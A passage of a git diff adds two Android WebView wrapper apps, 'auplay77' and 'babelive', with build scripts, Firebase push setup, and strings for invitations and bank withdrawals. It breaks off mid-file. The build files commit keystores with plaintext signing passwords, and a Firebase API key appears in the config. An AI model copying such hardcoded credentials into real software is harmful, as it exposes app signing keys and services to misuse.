JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "auplay77" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/auplay77/dskjweb.jks b/auplay77/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/auplay77/dskjweb.jks differ diff --git a/auplay77/google-services.json b/auplay77/google-services.json new file mode 100644 index 0000000..531201c --- /dev/null +++ b/auplay77/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "603393392393", + "project_id": "auplay77-663d2", + "storage_bucket": "auplay77-663d2.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:603393392393:android:52d00b35e03c86d10f9dd8", + "android_client_info": { + "package_name": "com.web.auplay77" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBGrLd3E9mQHk2g9D-HWPH4oQGM5Gh-md0" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/auplay77/ppn.jks b/auplay77/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/auplay77/ppn.jks differ diff --git a/auplay77/proguard-rules.pro b/auplay77/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/auplay77/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/auplay77/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/auplay77/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/auplay77/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/auplay77/src/main/AndroidManifest.xml b/auplay77/src/main/AndroidManifest.xml new file mode 100644 index 0000000..b4daa45 --- /dev/null +++ b/auplay77/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/auplay77/src/main/java/com/web/auplay77/MainActivity.java b/auplay77/src/main/java/com/web/auplay77/MainActivity.java new file mode 100644 index 0000000..5fd8236 --- /dev/null +++ b/auplay77/src/main/java/com/web/auplay77/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.auplay77; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 190; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://auplay77.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#b3b3b3"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#b3b3b3"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/auplay77/src/main/java/com/web/auplay77/MyFirebaseMessageingService.java b/auplay77/src/main/java/com/web/auplay77/MyFirebaseMessageingService.java new file mode 100644 index 0000000..421532d --- /dev/null +++ b/auplay77/src/main/java/com/web/auplay77/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.auplay77; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/auplay77/src/main/java/com/web/auplay77/WebApplication.java b/auplay77/src/main/java/com/web/auplay77/WebApplication.java new file mode 100644 index 0000000..8ae7415 --- /dev/null +++ b/auplay77/src/main/java/com/web/auplay77/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.auplay77; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/auplay77/src/main/res/drawable-anydpi/ic_action_back.xml b/auplay77/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/auplay77/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/auplay77/src/main/res/drawable-hdpi/ic_action_back.png b/auplay77/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/auplay77/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/auplay77/src/main/res/drawable-mdpi/ic_action_back.png b/auplay77/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/auplay77/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/auplay77/src/main/res/drawable-v24/ic_launcher_foreground.xml b/auplay77/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/auplay77/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/drawable-xhdpi/ic_action_back.png b/auplay77/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/auplay77/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/auplay77/src/main/res/drawable-xxhdpi/ic_action_back.png b/auplay77/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/auplay77/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/auplay77/src/main/res/drawable/big_bg.xml b/auplay77/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..89e97ce --- /dev/null +++ b/auplay77/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/drawable/ic_launcher_background.xml b/auplay77/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/auplay77/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/auplay77/src/main/res/drawable/input_bg.xml b/auplay77/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/auplay77/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/auplay77/src/main/res/drawable/pass_word_bg.xml b/auplay77/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/auplay77/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/auplay77/src/main/res/drawable/pass_word_bg1.xml b/auplay77/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/auplay77/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/drawable/pass_word_bg2.xml b/auplay77/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/auplay77/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/drawable/shape_btn_bg.xml b/auplay77/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/auplay77/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/drawable/shape_dialog_bg2.xml b/auplay77/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/auplay77/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/drawable/shape_dialog_bg3.xml b/auplay77/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/auplay77/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/drawable/shape_dialog_bg_new.xml b/auplay77/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/auplay77/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/auplay77/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/auplay77/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/auplay77/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/auplay77/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/mipmap-hdpi/ic_empty.png b/auplay77/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/auplay77/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/auplay77/src/main/res/mipmap-hdpi/ic_pull_down.png b/auplay77/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/auplay77/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/auplay77/src/main/res/mipmap-xhdpi/ic_close.png b/auplay77/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/auplay77/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/auplay77/src/main/res/mipmap-xhdpi/ic_menu.png b/auplay77/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/auplay77/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/auplay77/src/main/res/mipmap-xxhdpi/app_logo.png b/auplay77/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..7cc6bae Binary files /dev/null and b/auplay77/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/auplay77/src/main/res/values-en/strings.xml b/auplay77/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/auplay77/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/auplay77/src/main/res/values-night/themes.xml b/auplay77/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/auplay77/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/values/colors.xml b/auplay77/src/main/res/values/colors.xml new file mode 100644 index 0000000..285b6ad --- /dev/null +++ b/auplay77/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #b3b3b3 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/auplay77/src/main/res/values/strings.xml b/auplay77/src/main/res/values/strings.xml new file mode 100644 index 0000000..a3c6877 --- /dev/null +++ b/auplay77/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + AUPLAY77 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/values/themes.xml b/auplay77/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/auplay77/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/xml/app_updater_paths.xml b/auplay77/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/auplay77/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/xml/network_security_config.xml b/auplay77/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/auplay77/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/auplay77/src/main/res/xml/provider_paths.xml b/auplay77/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/auplay77/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/auplay77/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/auplay77/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/auplay77/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/babelive/.gitignore b/babelive/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/babelive/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/babelive/build.gradle b/babelive/build.gradle new file mode 100644 index 0000000..6dfa14f --- /dev/null +++ b/babelive/build.gradle @@ -0,0 +1,89 @@ +plugins { + id 'com.android.application' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.babelive" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "babelive" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_all') +} \ No newline at end of file diff --git a/babelive/justlet.jks b/babelive/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/babelive/justlet.jks differ diff --git a/babelive/ppn.jks b/babelive/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/babelive/ppn.jks differ diff --git a/babelive/proguard-rules.pro b/babelive/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/babelive/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/babelive/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/babelive/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/babelive/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/babelive/src/main/AndroidManifest.xml b/babelive/src/main/AndroidManifest.xml new file mode 100644 index 0000000..752f550 --- /dev/null +++ b/babelive/src/main/AndroidManifest.xml @@ -0,0 +1,75 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/babelive/src/main/java/com/xyz/babelive/MainActivity.java b/babelive/src/main/java/com/xyz/babelive/MainActivity.java new file mode 100644 index 0000000..44c05af --- /dev/null +++ b/babelive/src/main/java/com/xyz/babelive/MainActivity.java @@ -0,0 +1,57 @@ +package com.xyz.babelive; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = -100; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://www.babelive.my/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#000000"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#141414"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + try { + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = 